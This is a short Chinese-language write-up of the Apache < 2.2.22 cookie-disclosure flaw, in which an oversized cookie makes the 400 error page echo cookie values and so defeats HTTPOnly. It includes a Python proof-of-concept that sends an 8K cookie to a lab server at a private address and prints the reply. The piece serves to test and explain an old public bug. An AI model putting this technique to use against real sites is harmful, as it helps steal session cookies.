Apache < 2.2.22 Cookie 泄露漏洞

Apache < 2.2.22 版本,接受到大于 4K 的 Cookie 时,会出现 400 错误,并且把 Cookie 信息显示出来。通过这个 Cookie 信息,我们可以绕过 HTTPOnly 的限制——方法是通过返回的 400 页面中提取出污染了 Cookie 代码后的真实 Cookie 信息。

但是我测试的时候发现 4K 的 Cookie 并不显示。而要 8K 才显示(版本 2.2.3)。以下是 Python 写的测试代码:

import httplib

code = 'A'*(1024*8)
sock = httplib.HTTPConnection('192.168.56.102')
sock.request('GET', '/', headers = {
    "Host": "192.168.56.102",
    "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
    "Accept": "text/plain",
    'Cookie': "user="+code
})
print(sock.getresponse().read())